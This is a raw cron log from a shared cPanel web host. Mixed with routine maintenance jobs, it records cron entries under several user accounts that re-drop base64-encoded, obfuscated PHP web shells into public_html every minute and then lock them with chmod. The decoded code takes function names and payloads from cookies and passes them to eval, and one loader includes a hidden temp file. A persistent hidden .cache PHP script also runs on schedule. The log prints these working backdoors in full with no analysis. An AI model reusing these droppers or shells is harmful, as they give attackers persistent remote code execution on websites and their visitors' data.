Jun  7 13:36:02 medusa CROND[12015]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Jun  7 13:36:02 medusa CROND[12016]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:36:02 medusa CROND[12017]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:36:02 medusa CROND[12018]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:36:02 medusa CROND[12019]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:36:02 medusa CROND[12021]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:36:02 medusa CROND[12025]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:36:02 medusa CROND[12020]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:36:02 medusa CROND[12023]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Jun  7 13:36:02 medusa CROND[12026]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:36:02 medusa CROND[12032]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:36:02 medusa CROND[12030]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:36:02 medusa CROND[12034]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:36:02 medusa CROND[12047]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:37:01 medusa CROND[13826]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Jun  7 13:37:02 medusa CROND[13874]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:37:02 medusa CROND[13878]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:37:02 medusa CROND[13879]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:37:02 medusa CROND[13880]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:37:02 medusa CROND[13881]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Jun  7 13:37:02 medusa CROND[13882]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:37:02 medusa CROND[13883]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:37:02 medusa CROND[13887]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:37:02 medusa CROND[13889]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Jun  7 13:37:02 medusa CROND[13890]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:37:02 medusa CROND[13891]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:37:02 medusa CROND[13894]: (adminanalia) CMD (cd /home12/adminanalia/public_html/espo; /opt/cpanel/ea-php81/root/usr/bin/php -f cron.php > /dev/null)
Jun  7 13:38:01 medusa CROND[15420]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Jun  7 13:38:01 medusa CROND[15426]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Jun  7 13:38:01 medusa CROND[15427]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Jun  7 13:38:01 medusa CROND[15428]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Jun  7 13:38:01 medusa CROND[15429]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Jun  7 13:38:01 medusa CROND[15431]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Jun  7 13:38:01 medusa CROND[15432]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Jun  7 13:38:01 medusa CROND[15437]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Jun  7 13:38:01 medusa CROND[15438]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
